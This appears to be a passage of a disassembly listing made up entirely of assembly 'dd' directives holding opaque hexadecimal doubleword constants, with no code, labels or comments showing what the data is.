		dd 0E22F0C11h, 0A090D1F1h, 334AFAB8h, 2BDA6440h, 0DC1A383h
		dd 0BB476AAFh, 34C2209h, 4F8313FAh, 7E3FC840h, 51CE0ADBh
		dd 65CC44Ch, 584FF7D4h,	49E2320Bh, 0C12800E1h, 375D23h
		dd 0CB27A63Eh, 0FC48C88h, 0F60C6000h, 0F0F9D063h, 779A783Bh
		dd 7C127ABAh, 3EAA00CAh, 6EC7CF69h, 79005154h, 0D4BCB37Fh
		dd 0E788DCh, 0F5936762h, 8F6FE2DAh, 48C7E871h, 2E136C49h
		dd 0B85809EFh, 0F8D47F66h, 0BCBED100h, 76CC1A6Eh, 102A6138h
		dd 0E0CBF38Eh, 0E6073A60h, 63C0D11Bh, 0C47A3430h, 3D2B0BD0h
		dd 6283FAEBh, 80EEF50Ch, 740033E6h, 0EBD447Ch, 3486ABAh
		dd 5436C129h, 70008D4Bh
		dd 0D65706D0h, 30AD08C2h, 60780ED2h, 3B02EF6Ch,	0D581F9E3h
		dd 4180AED1h, 0BC292E3Ch, 0DF44E8C0h, 0F72D0020h, 0C83DF2D7h
		dd 1C036411h, 0FEE4AC00h, 42BF58F1h, 20FD5300h,	0A8CC33Dh
		dd 0D20107B0h, 4038DC7Ah, 30D3A4A9h, 0DE62E800h, 0BAA05725h
		dd 7D08CC1Dh, 19007821h, 3B1CCE8h, 442F7Bh, 5E6B58C7h
		dd 303D3228h, 0AF70DF07h, 7581F1BCh, 108CB32Dh,	3340E082h
		dd 42FE15F8h, 55B82F03h, 900A5FF7h, 0F7252F0h, 0CDDF0629h
		dd 0FD23340h, 6937BEB9h, 0D48938A8h, 321A002Dh,	2CDDD652h
		dd 0C408FA63h, 782000B9h, 0F584FB53h, 64005289h, 0AF1CBECDh
		dd 66902406h, 0C93388E4h, 2BC47C85h, 207F2260h,	100F9AE2h
		dd 40B40447h, 0C6BDF546h, 7A9745Eh, 769EB01Ch, 500078D1h
		dd 7BED120Eh, 6107008Dh, 2FB21AD9h, 0AA50A6E4h,	0A903EC9Ch
		dd 0BA36FECDh, 0EB61C06Ch, 0B0270ED2h, 0ECCE1593h, 0D997001Fh
		dd 0A8315C1Bh, 6BEAA000h, 5F436A40h, 0CFF73C9Bh, 0DB7AA680h
		dd 1B51EB25h, 83D9F83Fh, 0D2CB9F6Ch, 8FB0B89Ah,	0E4B800C9h
		dd 0F581A0C2h, 1500E392h, 787086F0h, 0B3CD17h, 0B8F4F24Bh
		dd 0C246D61Eh, 0DC779E03h, 0D871E30Fh, 75BA2Ch,	0F90AFF6Ch
		dd 571CDF62h, 0E9D3AD01h, 0D8187C48h, 0C4C270h,	0C2072546h
		dd 47A5BA26h, 41114065h, 0C583043Eh, 100320BDh,	5F060AF9h
		dd 365AF05Ch, 0E88FF802h, 2E2C0343h, 0E929CC5h,	13E32811h
		dd 33C610h, 0D981BD05h,	0F0EB9Ah, 97A3E908h, 0D6D490CBh
		dd 0A1A71802h, 608C117Dh, 678AA3h, 663A745Fh, 839EBE5Ah
		dd 5507531Fh, 0B8C4500h, 993CA9h, 0BFC9E5BAh, 0C397513Eh
		dd 0B7F2BB00h, 1FABDF93h, 9CB79D3h, 55A11C2Bh, 0C90E4B0Bh
		dd 4CF50C3h, 8C4342C8h,	37DDFC00h, 8BB21ED4h, 827800A7h
		dd 0B1B6CAC9h, 0AC0057A6h, 0E2D968BBh, 50FBB27Bh, 928CCEh
		dd 84A13137h, 0DF6E1456h, 1FD0701h, 6DAEDEF6h, 0A0D01080h
		dd 762DC565h, 8CD1C900h, 969CD66h, 0C21D0E37h, 0AE806C73h
		dd 62DAFB4Dh, 31AC8800h, 14829F1h, 0DFF4E8B5h, 70003FDAh
		dd 0E5FBA034h, 5B001231h, 150A2A83h, 0F13A2Dh, 731D0EE7h
		dd 0D1CE9E20h, 0EA1AD001h, 69C67172h, 0F578A0EFh, 0D80601CAh
		dd 21A13498h, 0B30CD842h, 815CBF38h, 0C903671Dh, 37D08C50h
		dd 58D50061h, 8F5FC8A2h, 0C700E805h, 0FC72C3FAh, 10BB5E6h
		dd 0BDE2A9F3h, 0D0CA757Eh, 83006F16h, 0F4570782h, 397003h
		dd 49D7E584h, 528726D8h, 854D5C1Fh, 0D00DCE03h,	0EC92F01Fh
		dd 0D21D1CD1h, 49CFC176h, 200C54A8h, 6A78C938h,	0EE01FF7Bh
		dd 6934A693h, 0E2EC0953h, 37C23DB0h, 57E67C00h,	34A8B6E5h
		dd 71025473h, 0AC4F20CDh, 66FD6080h, 35151DDAh,	1EBC557h
		dd 4FEC80C8h, 587298BCh, 0A7C113Bh, 0DCABDBEEh,	7F00783Eh
		dd 0D763F365h, 3DED8EBBh, 0A500B9F0h, 81DC5CABh, 28030421h
		dd 8E591141h, 13BB60h, 341D6B38h, 0D4C6E37h, 2C22EA01h
		dd 0A7CAC203h, 795AB6DCh, 0C8E430h, 24FE9F76h, 0A9898B07h
		dd 0F6C10500h, 0D07B91C7h, 0EBFB0FC9h, 0D6E01426h, 20F4DB7Fh
		dd 0AA833200h, 99BF9A77h, 0F13E1BC7h, 0B4D011ACh, 4503293Dh
		dd 0A623F4Dh, 8CDA981Dh, 2927DE6h, 347180E1h, 44410F09h
		dd 80EAC531h, 0BDE9E029h, 3AAA358Ah, 0C304EC09h, 809AAE94h
		dd 6B5322B0h, 0C76B100h, 86617480h, 7D200A9h, 2816C4B7h
		dd 0A200BBCEh, 1CB3F583h, 9A87DA80h, 3A49B020h,	0AD920585h
		dd 396C00EFh, 2364FFAFh, 800B543Fh, 248144CEh, 475EB2h
		dd 0ECCFE5FCh, 0AAB11D75h, 2826E990h, 6400DD89h, 0D24B69E2h
		dd 12720020h, 8CEDB1C7h, 300322DAh, 7527153Fh, 0D8E0EBE4h
		dd 1694A7Ch, 7BEB9B47h,	20CDC7D4h, 0E55230DCh, 6DF20088h
		dd 336B1EE4h, 4E69003Ah, 0CA965D0Bh, 0B50024CCh, 0FA830DC7h
		dd 4C1509h, 0DB8BF260h,	8E1EC621h, 0A1EA6A00h, 1F5F4691h
		dd 610F0247h, 4492DCDEh, 0C64D9C60h, 0CF5C8300h, 21D31D35h
		dd 0B47C0031h, 0DDFD49A9h, 9709BA50h, 87FA3B6Ah, 0CE29F42h
		dd 5F4C60F7h, 0FB7A38h,	0A8A14597h, 0AF920A57h,	613E48F4h
		dd 0FA600079h, 187E1BC8h, 175D4CB9h, 6FB6FF00h,	64C12B70h
		dd 9574F607h, 57F01880h, 0E3C0792h, 0DC63BFEFh,	0B9013500h
		dd 913B65E8h, 0BE242Dh,	0D2B0C400h, 0AEA10A0h, 66455BDh
		dd 0E4600E4h, 7E629A44h, 930A5300h, 74BC4A19h, 1A020037h
		dd 714C7338h, 152EEF88h, 18015196h, 0B750FEABh,	78A9FFCCh
		dd 5A0D1FF0h, 7834404Bh, 3F1503E5h, 0D32EA600h,	484A875Ch
		dd 1F82000Fh, 0BE051001h, 0D500DA7Ah, 0FACD6830h, 5C7D2C8Ah
		dd 17000341h, 23EA3973h, 0A5A0ED3Ch, 7700442Bh,	0BFB94D6Fh
		dd 2C0B1Ah, 18DF7DF3h, 0FA2B33A3h, 7BD7CC00h, 31AD4826h
		dd 0FD1A0E65h, 50C023F0h, 70A4C884h, 3700E9FCh,	91387F62h
		dd 189DA26h, 0E76ACFBCh, 83C698ADh, 17C72040h, 0AEAB803Eh
		dd 9C4F4CFBh, 0A4393201h, 20D99668h, 220C1350h,	11B7489Ah
		dd 0FBD4025Ah, 45762DCh, 9739E060h, 113A667Eh, 2BE2006Eh
		dd 0FA74D581h, 9CDF095Ch, 0C0030D7Dh, 3E09DB4h,	877A0A2Eh
		dd 0D07CAD02h, 0E833648Ch, 0C2ABA04h, 0FE56A5CDh, 0B200E168h
		dd 7C057666h, 1C8B65h, 0A24355F9h, 71BA7A5Fh, 0DC6F5D00h
		dd 0DDA0ABC8h, 549A14h,	79DA314Dh, 0CEF3B642h, 0B0209D30h
		dd 3862498h, 0B55B6D25h, 80A44013h, 0E3DAD30Ch,	28D1D500h
		dd 78694551h, 9367074Ch, 0D07F9D1Ch, 0F3C3B417h, 1507B502h
		dd 0C86877F9h, 1984D8h,	0E929BF4Ch, 99D682BEh, 0CEFEE05h
		dd 40D0B135h, 94DD44h, 0D59E34A2h, 68717983h, 0C7D8C609h
		dd 27088080h, 1EB0FC19h, 0C0646C60h, 0B2EE1728h, 57148522h
		dd 823DEh, 2AC9566Ah, 6BB1FD18h, 26033121h, 7000C862h
		dd 0A1B50CAEh, 4D014C1Ah, 8C006421h, 48D6B922h,	270546DBh
		dd 174C1C97h, 248A1003h, 4BB11CB9h, 41F21EAFh, 0BE9E0147h
		dd 4818BF43h, 45EB006Ch, 27AEF8F7h, 3F50C0DAh, 64862114h
		dd 6390967Ch, 5AB7C307h, 8900CF27h, 30CADCh, 12D816D6h
		dd 446445F1h, 3878DEh, 1543FDAh, 0EF9673Ah, 41CBA291h
		dd 0CE19C960h, 0B3062F4Bh, 4EEF0145h, 9BC0068h,	0EEAE5AB5h
		dd 395DCB7Fh, 799416F4h, 5D388718h, 0DC4A5DB7h,	8B1E6A1Eh
		dd 0E8803B53h, 61C17A0Ch, 0ADEC2314h, 0A75D00A1h, 9762E98Bh
		dd 28A300E2h, 9545EEE3h, 9B023D67h, 0FC4402C9h,	32E3601Dh
		dd 0ACB21361h, 8E04003Ch, 93B0686Ch, 6ECE6004h,	0AB802581h
		dd 939EEB1h, 2E2B5453h,	196D8C80h, 7A3EA270h, 0E7F20049h
		dd 0D3C2C01h, 5AA7178Fh, 0AB6401A9h, 0E8E0E592h, 9C0094A4h
		dd 0CF13FF5Dh, 45B8DBh,	0B6B2E418h, 0E6FD9B40h,	0F920140Fh
		dd 0A5F4404Ch, 2E7495Dh, 82EB7AFFh, 0D840B69Bh,	0BD035F24h
		dd 4C4D89E0h, 0A73AB21Eh, 0ACE07F98h, 7570D0h, 0ADBF2C83h
		dd 565733CBh, 0B337C375h, 0E3CE286Bh, 80890ED6h, 0F47C970Bh
		dd 0E91B00FFh, 92B4C76Bh, 0CF79C461h, 719155Ch,	0F3376488h
		dd 0B1C05B40h, 714D0034h, 89CCB0FEh, 0D70C779Fh, 4927129Dh
		dd 3CBE490Fh, 9347CE0Eh, 3280A309h, 3124F04h, 7C454400h
		dd 85D17126h, 9B410714h, 9086331Ah, 15C19658h, 39B6C200h
		dd 0D5B25D80h, 6C31F53h, 1FBD876Ch, 1020D740h, 0A4AFC210h
		dd 2717FA00h, 0FDB8C563h, 0C8CF00B7h, 285BB351h, 4D000623h
		dd 0D340DC7Bh, 0C8AEF31h
		dd 0B5E5437Dh, 8C077538h, 158011E9h, 7BBA6670h,	0AE00E6Fh
		dd 7D40EAC7h, 0F6F5E909h, 72163600h, 9A674E78h,	0CC0E004Ch
		dd 7DB78F22h, 4000FD6Ch, 30960D6Fh, 0F0DBE170h,	0F0C11EA2h
		dd 0F51693h, 0CBE75042h, 30756A4h, 0D5FAA127h, 467A9B70h
		dd 0F02018DCh, 0EE887017h, 1CD3CE3Bh, 7601D154h, 0EF44DCB0h
		dd 0CFA1E880h, 1556D92h, 0A4C6F51Dh, 35510658h,	882A031Bh
		dd 0D42592B5h, 0E6BF310Eh, 7A690142h, 0D9608F15h, 19970329h
		dd 0C7D03378h, 0B68D5FE0h, 77EA4A00h, 7F295EA1h, 494B01FAh
		dd 0DFC3AEBCh, 2EA9C41Ch, 0A7007D7Dh, 0B6B82AF7h, 4C17DE74h
		dd 0F877FA63h, 0FB2FE5Dh, 0D7EF256Dh, 56FA3620h, 0AD0E6046h
		dd 49DCC0FDh, 0BBB0077h, 6F6268h, 0CB227DE3h, 612D7913h
		dd 9009979h, 1F7A27C7h,	30304ABh, 0D09212F3h, 981FB520h
		dd 9F7DDC48h, 28167E6h,	434AB1B3h, 604C1052h, 0EEEAF059h
		dd 60411AD3h, 49C01869h, 0A601848Dh, 0A281C89Ah, 1880E5E8h
		dd 16C76C7Fh, 2130F15Bh, 47084990h, 5E9C006Ah, 5F81957Dh
		dd 2F3C1784h, 630783C2h, 0C804611Ch, 1D1A946Fh,	40ED9944h
		dd 3C747210h, 7B50A385h, 0B39077B1h, 5EEE50F2h,	35034F7Eh
		dd 0CD88A769h, 0C344A267h, 0B1600ECh, 0FE2EE95Ch, 891E1965h
		dd 0BC407F86h, 0C104D321h, 51393CE0h, 0EA063F5Ch, 100EB5F0h
		dd 2FD6D701h, 3B809470h, 557CD0h, 0C916676Dh, 0F37497F5h
		dd 0DA87EF00h, 63182DD8h, 245F768Ch, 14C28B3Ah,	25021CCEh
		dd 0AD166D36h, 0D39C0880h, 403D44Eh, 2D07E87Eh,	9008192Eh
		dd 0CCFE2071h, 900CA4Fh, 0D99B1872h, 1F9EA4BCh,	0B065F104h
		dd 0D49CA2C0h, 80B90201h, 0FDF3E349h, 0B8C78CE8h, 18707798h
		dd 20726489h, 0CC30C1A6h, 161D3881h, 9026286Eh,	0DC700390h
		dd 0FCD47EF9h, 56D9B88h, 7908CD65h, 0C670B000h,	0E557ED1h
		dd 2A1441D6h, 84714621h, 7A60C2D2h, 9A0004EEh, 12D9B088h
		dd 520868AEh, 0F03AD0BBh, 6D47BA80h, 15F2BCA3h,	0B22A90C0h
		dd 3C945A88h, 0D880DC55h, 53B1417Ah, 200BD46h, 38849B8Ch
		dd 5B86659h, 0EECA2EB3h, 92F81Ah, 24DF859Eh, 7A97FBh, 1916C314h
		dd 0D20ECE6h, 0FCF8AA78h, 24EC9E7Bh, 0E74AF01Fh, 85BB5701h
		dd 53C05E47h, 0EB3D000Bh, 6FF536D1h, 31384B7Fh,	9D2B806Dh
		dd 2767235Ch, 724300C1h, 5E79FA3Dh, 0CD002DAAh,	53633BFBh
		dd 13D4FFBCh, 52C6F3h, 30A036A0h, 4300707Ch, 65BDE20Ch
		dd 3F58A32h, 81E3F004h,	0C7C8F4E0h, 0B000FB02h,	0EE98D61Dh
		dd 58BE468h, 0FE54C5ECh, 4801833Dh, 491CBCC8h, 0B2D2040Dh
		dd 0C230084Fh, 72CC1D3Bh, 1C7F406Eh, 2C1E8209h,	1619DB00h
		dd 607641E5h, 50A070Ch,	0D098C769h, 1F040889h, 389CAD00h
		dd 0FE29CC39h, 5C4F3B5Ah, 4AB04C01h, 80625513h,	3FB4D330h
		dd 3BCED7FEh, 0D92043E4h, 0EDB1D0Eh, 6BBAC056h,	0C692BC91h
		dd 20CE1008h, 0E230C00h, 0A65BBE5h, 0EBB300D0h,	4EB6A5C7h
		dd 7A168B71h, 930647E8h, 0E8E92A69h, 29D0C78Ah,	0EA22904Ah
		dd 7C0015A5h, 0D9C3BC17h, 3A7180B1h, 0E1818B0Ch, 4EF40F7Eh
		dd 23C891ACh, 0F66AB300h, 4A09E03Ah, 0A5E6B27Dh, 69826C00h
		dd 0BCA9D93Dh, 0C7C7499h, 0F5DE1ECEh, 0C8FDC140h, 2D510E2Eh
		dd 0DC8CF58Ch, 0FF00CB46h, 19A323F9h, 0B2F06Ah,	205B31Bh
		dd 739C07E7h, 0BA10D90Fh, 99D40C4h, 0B01425h, 34ABE637h
		dd 0B43F472Fh, 203DFC00h, 6EEBFD4h, 7DBE00EFh, 8FBB91DFh
		dd 690093AAh, 0E4341F1h, 7A366Bh, 0C47D6F7Ch, 407D78Ch
		dd 0BC1DA83Ch, 6A6480EDh, 3CD43ED0h, 84CD0F47h,	50438148h
		dd 3180F1BEh, 0CF7F29E2h, 75A59C00h, 5A16F665h,	2AC6243Ah
		dd 0A6B20055h, 0C59E7BF7h, 2807597Ch, 0B1682B92h, 0EFDCAAC0h
		dd 0C76050BFh, 14303077h, 0BC45B610h, 40762009h, 0FAE9035Bh
		dd 3BF4A14Ah, 286F2081h, 0D05525BCh, 770E8F90h,	20F54A9Dh
		dd 52167E51h, 0BE463ACEh, 4F9050E0h, 20C02636h,	232DA39h
		dd 884607DCh, 36071F18h, 5F002817h, 26107848h, 33FB2164h
		dd 0DC082C96h, 3FD84900h, 49A77B78h, 916118F5h,	79EBB135h
		dd 0D2181A76h, 95684D27h, 243911F9h, 0FA3B03DDh, 0C0D0F3FDh
		dd 3B5D893h, 0E2F04817h, 0DED0C88Dh, 0B3005647h, 0C570843Ah
		dd 4DB909h, 2C5B5ACDh, 99BF2AD6h, 760ABE00h, 471C3542h
		dd 97443CFFh, 6D2C9158h, 0FEEA006Ah, 7BE69B24h,	8D0AC007h
		dd 0AD704CE4h, 1E318A7Dh, 80DC54F2h, 9F365541h,	0F7E65F59h
		dd 9910F300h, 0C54E7C56h, 0D4540026h, 0CE6CE9F5h, 0C009C5Fh
		dd 22CF341Dh, 8FD7EEh, 1F4CEDBFh, 0F0D211DFh, 0A9EB2C00h
		dd 6AA86420h, 179700C5h, 9A9F424Ch, 0A17ECE8Fh,	5A0AFF2Ch
		dd 4440E03Dh, 0B904B5h,	23DC3C5Ch, 454BB224h, 0D6B3E04h
		dd 514FB37h, 9F957C03h,	70C040A7h, 8F03FF8Ah, 7E33C134h
		dd 3656A81Eh, 0A3570FF6h, 24272C07h, 0DB22E0D4h, 0DC03A723h
		dd 5DB37C19h, 0C1C7B7D6h, 7388A250h, 27A301B7h,	0C653CB3Fh
		dd 54B6C059h, 356DB900h, 30EB2FF0h, 5AA00E2h, 3DD9C0F9h
		dd 963F23BFh, 31E480ADh, 68400483h, 0ECC20C4Ch,	1E1074A1h
		dd 11A24707h, 405F9931h, 2B8DE9D8h, 397161h, 82E1CEAh
		dd 3C63A6E4h, 0BD904F66h, 0DB430718h, 8C153DBEh, 613B8BE0h
		dd 975D8BE6h, 0D9610096h, 8F13ADh, 0C76D011Fh, 0E2F9EDC4h
		dd 2CF33Ah, 6A9E70C6h, 1267654h, 0EC0EE63Fh, 0F5733766h
		dd 0B00620DEh, 0AB390103h, 804F99BDh, 344C50Bh,	41AE9E40h
		dd 5B9997DBh, 2C593030h, 93AAB00h, 11426975h, 51E806B2h
		dd 40A79C39h, 3E5E2C00h, 0F0A0200Fh, 5DFC95h, 0AB133334h
		dd 0E0B2640Ah, 2D62191Eh, 0F57CC200h, 0C69F90C0h, 182E9C58h
		dd 9527BD16h, 0A6C67300h, 30D5865h, 7F4D6242h, 89C87D59h
		dd 810256B0h, 0F7A39A95h, 3D26368h, 65A7C581h, 7F02AF0h
		dd 4F7EA811h, 345EFC00h, 82644CDAh, 0D24A3B56h,	0A38E390Ch
		dd 95035218h, 2E38C1D7h, 0A0E961E2h, 4089BB9Ah,	0A6F43BC4h
		dd 30FEA205h, 54C03213h, 5FF06676h, 3EB78084h, 100015F1h
		dd 729C130Fh, 64A52ECh,	0F22DF75Eh, 85002142h, 0C0817D33h
		dd 2CD056h, 0E44C58ACh,	0F4DF8D77h, 7B5AB900h, 0E65C2F61h
		dd 6BF03956h, 927CDD00h, 0E7766970h, 0CA5F0AE6h, 4D0C7FF8h
		dd 0D5108398h, 97A8EF1Ch, 0CF5DEEC2h, 2F16E08Bh, 0CB410366h
		dd 0BD4BE2C3h, 2100A1A3h, 59278B44h, 3062DF91h,	5019F375h
		dd 79D357DEh, 0CB28F600h, 6C17CA09h, 0AD681816h, 2768028Ch
		dd 0BD496626h, 80F07E18h, 2A071EABh, 6E79AC44h,	0EB65F790h
		dd 2098EC07h, 0BE00CF68h, 0DF5A15FCh, 0BB250Fh,	7AC953EDh
		dd 66EFB7CEh, 0A81F5800h, 0A159E7CAh, 395C600Fh, 8B5FD15Dh
		dd 11C36C30h, 0B08EBC6Fh, 0F0C979BBh, 0F8317F42h, 0B421CE3Dh
		dd 0AD938E20h, 0DE3051E5h, 66CA19D0h, 6BEFE0Ah,	8D17A1E6h
		dd 60C8688Fh, 8EBEC075h, 0B94649EFh, 86003822h,	0BCA78ED5h
		dd 14564660h, 0D059797Eh, 6350378h, 0FF5CBE6Dh,	619692C0h
		dd 0BABDC9C0h, 6E17110h, 0DE8A8F76h, 0B260088Eh, 0C432AA21h
		dd 90AE609Ah, 5095379Fh, 0BC5C1D03h, 904EA31Eh,	0FC69C955h
		dd 7C670073h, 0C7FA24E1h, 0DA127E17h, 110002E5h, 0B6B1812Bh
		dd 84F40263h, 281B09B5h, 32964CC0h, 0C95D5800h,	0FAE5FF3h
		dd 6BE07F5h, 108B0BC7h,	0BDB198E5h, 0B2923D00h,	40179C4Ah
		dd 21F8007Ch
		dd 0AF53DCE7h, 0A33C13D2h, 8E220018h, 0B00B8BD6h, 1E3181Dh
		dd 54BE0868h, 863D20C0h, 71D4D6h, 48F0EB7Ah, 0BAB3BDAAh
		dd 8040B2C6h, 0D2FB0149h, 0AA43ADF8h, 7049CDD5h, 0E2523FCDh
		dd 0A386B138h, 0CA1C970Ch, 5780B93Fh, 7B0E6EEAh, 0C1C1E647h
		dd 10E75E80h, 82D0817Fh, 0C580B8A3h, 0BA798D7h,	74A5F29Bh
		dd 0EB843039h, 56FD1220h, 0E1317477h, 3A346887h, 3998B570h
		dd 0AF80F215h, 47DA6307h, 0B13F3CD8h, 0E0C3860Ah, 0A030889Bh
		dd 967ED1h, 0BF50DF95h,	58308005h, 8E4D9300h, 0F1CF3E21h
		dd 8B890974h, 0B480D5D0h, 8464811Ch, 0ED03DD00h, 383CFCF0h
		dd 345FE62h, 0B3636D17h, 61F8BAB9h, 0BE0F1D94h,	8EF9A873h
		dd 300AE057h, 5E9D50h, 0A4266B0Dh, 0F63CC26Dh, 799A6300h
		dd 2DD52FF5h, 2D801F8h,	8B065425h, 6A7670D7h, 0B1BCDF03h
		dd 0A1BD39DDh, 208F2496h, 27E03B26h, 0CC31EB0Dh, 0A7978C09h
		dd 2BE00079h, 0B0192AFFh, 6B3339Eh, 0A7D18C78h,	0FA104151h
		dd 9078B67Dh, 0BA80C450h, 143D3095h, 2F6A1062h,	81A3C8BDh
		dd 3016D944h, 0AFE6D086h, 9D0073ECh, 0F49AEA14h, 305B6008h
		dd 0E9703E9Eh, 1DFCD279h, 0DBFBF0F5h, 91195260h, 1C80B0Eh
		dd 5507D5C6h, 0ECE01495h, 603D79EFh, 0AADA806Bh, 0EB8F7F35h
		dd 325600BEh, 0C77CB4EDh, 6D00349Ah, 0B312FDF7h, 2D67A2h
		dd 31464563h, 0AA8DE39h, 121C1A0h, 47EBF20Eh, 0D75CD806h
		dd 0D5C800B1h, 572B3E10h, 380079C0h, 7ED1281Eh,	191D49h
		dd 0C6767201h, 4B69B6B8h, 3EE16C01h, 0CE2E80B3h, 50483080h
		dd 0C25C0765h, 0C3E0CC00h, 149FC927h, 611C00ADh, 4214564h
		dd 10162F2Bh, 0B1017146h, 94F85638h, 864870B0h,	96E2D070h
		dd 0C8B33300h, 69ACBFFEh, 2DAD0394h, 79B70F18h,	3EE0D980h
		dd 0BA00B574h, 0BF5D7E20h, 60803B2Ah, 0AFFE913Dh, 0C6397A81h
		dd 0A1FF8749h, 33108944h, 703A2EBh, 593A80C5h, 0CD5D3195h
		dd 0A1388049h, 0B08AA483h, 5298CCh, 5C33E3F5h, 0A014C8BFh
		dd 1F3CFA3Ch, 6E009210h, 0D8C4E7A7h, 0ADB1F0Eh,	8D3780D5h
		dd 0D7D3B3F6h, 0B263F878h, 153359h, 0FF427E99h,	0A4CA1A34h
		dd 0AC60C300h, 0CD509E6h, 0B80A00EFh, 3F5E917Fh, 0BF604351h
		dd 9E42AAE8h, 0E28F0EDFh, 0E5E1BEC4h, 0F4C8390Ah, 51005A1Eh
		dd 82B2BB0Bh, 3CFFC42Dh, 0CF1F17FBh, 1A04686h, 0E200B8C0h
		dd 20454A1Fh, 72E76A5h,	0A1AD4CBDh, 1E4973DAh, 0C40ABEB9h
		dd 0C7F268E5h, 8B3E216h, 9FFD9B00h, 774DBA85h, 0ACBD009Ah
		dd 245C7B18h, 460E6FD9h, 866C71CCh, 209FA1h, 0F47B0F0Dh
		dd 0C0282F4Ch, 0FE3E9600h, 46220343h, 67173ABDh, 0FC705B86h
		dd 0FE588944h, 0C043074Ah, 0E480474Dh, 7187B24h, 0B3A80199h
		dd 42080C35h, 228431C1h, 7FC4967Bh, 0CF9B001Fh,	0A0805FAh
		dd 0FC01A860h, 0A3FEBC18h, 784831E9h, 1B3C1FC5h, 0DEEFC09Eh
		dd 4984C4ACh, 0EA53B106h, 0D8A83173h, 507B10F0h, 0D2442903h
		dd 0F8B778DDh, 0E8A0CBh, 51CDB2A9h, 4EDA439h, 0DDC76D00h
		dd 603B4034h, 0A3701B45h, 0BCA04837h, 0C2FCD50Eh, 1404D43Dh
		dd 0E4359Bh, 545B1199h,	34C2326h, 0CF2BDC3Ch, 3BA84770h
		dd 4000AB0Eh, 0E5E23A79h, 6F8B82h, 0F9A5BBF2h, 0FB87C858h
		dd 1000C8B8h, 0AF710DDFh, 496260h, 262C3E1Fh, 0D86C0BE1h
		dd 702E8E8h, 742B8F25h,	775BC0B7h, 129E8F0h, 6CBB4345h
		dd 0C07DAE03h, 818B9C5h, 74449F65h, 2F85025Ch, 5462249Eh
		dd 0CBDFAB60h, 5E00BBF0h, 0C002D6DAh, 28FE0Fh, 4354ED42h
		dd 5CD9D4F5h, 0A3831400h, 40BAFCCCh, 0BECA01E2h, 68207444h
		dd 5E4FF026h, 2FE5C700h, 0D5EA94FEh, 0F9A20056h, 0B17E604Eh
		dd 1430A635h, 3C0919CFh, 0F14A0C91h, 0FC88EE6Fh, 0AB00D8F8h
		dd 98461147h, 96CB9h, 0B49FE2E8h, 0FB1A8353h, 648AF424h
		dd 0BF2DBB00h, 3B244B44h, 3880AFBAh, 8F93AA0Bh,	4A0E9EB5h
		dd 20C16F50h, 518256F0h, 69DB606Dh, 6B180EEEh, 7F5380A0h
		dd 2036CE03h, 152B33h, 82085520h, 6E6DAA6Bh, 0C4D55800h
		dd 7F91A377h, 0FA7475C9h, 54FC0043h, 0F8B7508Fh, 381D440Ah
		dd 3480F42Bh, 0BD580386h, 0FA9800A1h, 0DF737471h, 50128ACDh
		dd 6D00442Fh, 0E8ED23D2h, 75100088h, 0C5161B8Dh, 0DD00A2F0h
		dd 591E8C15h, 5E6AE7h, 0D8F26D02h, 0B7D2C4CDh, 0AC67AE00h
		dd 28CC890Ah, 0C53F0154h, 1145BE6Ch, 0D648C466h, 5ED29800h
		dd 0AE175FE3h, 18A1B075h, 19C7E62Ah, 83183E27h,	8A306A87h
		dd 61F83E08h, 1D0F9701h, 0F0E81A91h, 0B8C03E95h, 438B3403h
		dd 0BA30CC3Ah, 1F3CC710h, 1A6400F9h, 0D0687367h, 0AF30C08Ah
		dd 5FAE58E7h, 0AB76F916h, 48A619EEh, 0B3CAE82Fh, 5831F1Fh
		dd 36061480h, 0F4D3DA5Bh, 7C80FE68h, 0F31B03D0h, 826289FAh
		dd 270287Bh, 8AF095F8h,	96A7E500h, 0B64F0669h, 172DEAB3h
		dd 0C8BFF64h, 0BF288A94h, 89865300h, 9A5DFEBEh,	72D400B7h
		dd 627C6011h, 870F73E8h, 1668537h, 27AE64CBh, 77DD618Ch
		dd 0EB030508h, 0A8453FD8h, 9862E011h, 0DDDA1872h, 8F4321AAh
		dd 20634900h, 1ACAEAF0h, 6EF307A4h, 0B092E31Eh,	0AABCB927h
		dd 10F5E11Dh, 0FE2A9CC9h, 82A4009Ch, 713FF367h,	7F8D1F00h
		dd 0AE066831h, 0E0A70196h, 70DEE7B6h, 168BD91h,	3FFF6F22h
		dd 32CC7C0Eh, 15F00F7h,	2BB4D392h, 1E074F87h, 5A98CCDCh
		dd 1630A170h, 912F0019h, 3E638AE8h, 0BB000713h,	0B9863798h
		dd 0C89B1F5h, 202B80AFh, 5560DCF9h, 780BDD71h, 8DEB004Dh
		dd 7A8B4A1h, 110076BEh,	0A650EEB2h, 0F3046EB0h,	2C2F8060h
		dd 19EAB5Ch, 0D9FB7331h, 7965200Ch, 68F68405h, 42C7AF88h
		dd 0B33562C1h, 1E70D8h,	0E8E47F77h, 6B3DF529h, 0F0F6B200h
		dd 61F7E3B4h, 0F42F00D7h, 0F54BFA63h, 137B7738h, 99C9C600h
		dd 0A6680F71h, 5C1F00D7h, 5AC16EA5h, 0B700F4AEh, 0C4F3B59Fh
		dd 0EDCA4Eh, 9D4883Ch, 34125939h, 2FC04200h, 6A604F26h
		dd 3A5D0031h, 8E5388CCh, 3E17247Eh, 0F50017D8h,	6567334Eh
		dd 0F0890018h, 0DAAF45B6h, 0B80186BBh, 644EF401h, 0BACC9ECCh
		dd 57B94CBCh, 0E2A85800h, 1B7CFDB1h, 1FD44C1Fh,	0EBDECB44h
		dd 8ED7D80h, 521A0CBEh,	65B05E5Fh, 1CB3B3Ah, 6FB03938h
		dd 18805C24h, 0EBBC3E85h, 0CA78AA11h, 0A502D30Ah, 270184FAh
		dd 0EF6490Fh, 0C304FCE8h, 5BF25E41h, 0D09DA5E8h, 3D3378C0h
		dd 218BBAh, 9E71CEBCh, 0EE8DBD6Eh, 1E38473Dh, 0FAC0A51Ch
		dd 4A85EF61h, 0C8C730CBh, 0A0A76680h, 5ED824ABh, 89022179h
		dd 0EC8FB6A4h, 9063E067h, 4CC8A1C9h, 6EB900D3h,	0BEB89698h
		dd 93009FE6h, 0D5929B0Ah, 3A86D1Fh, 0D93AD06Fh,	0AEC0F339h
		dd 0FD301083h, 0CF79C065h, 0CA478C0h, 0A7B2B7ADh, 0A8F8B9E0h
		dd 55BA8B01h, 3E4F67C1h, 211807C3h, 9063B84Ah, 18E2B6FFh
		dd 890F40h, 9F5D3822h, 0C152D8A1h, 0EA8D5B07h, 1E27574Eh
		dd 93460A10h, 74CB2EBEh, 0CD2F03A1h, 37980BB7h,	7200A269h
		dd 0E139A5C2h, 603211DEh, 0B419A1D3h, 13756DBAh, 0AE7377FEh
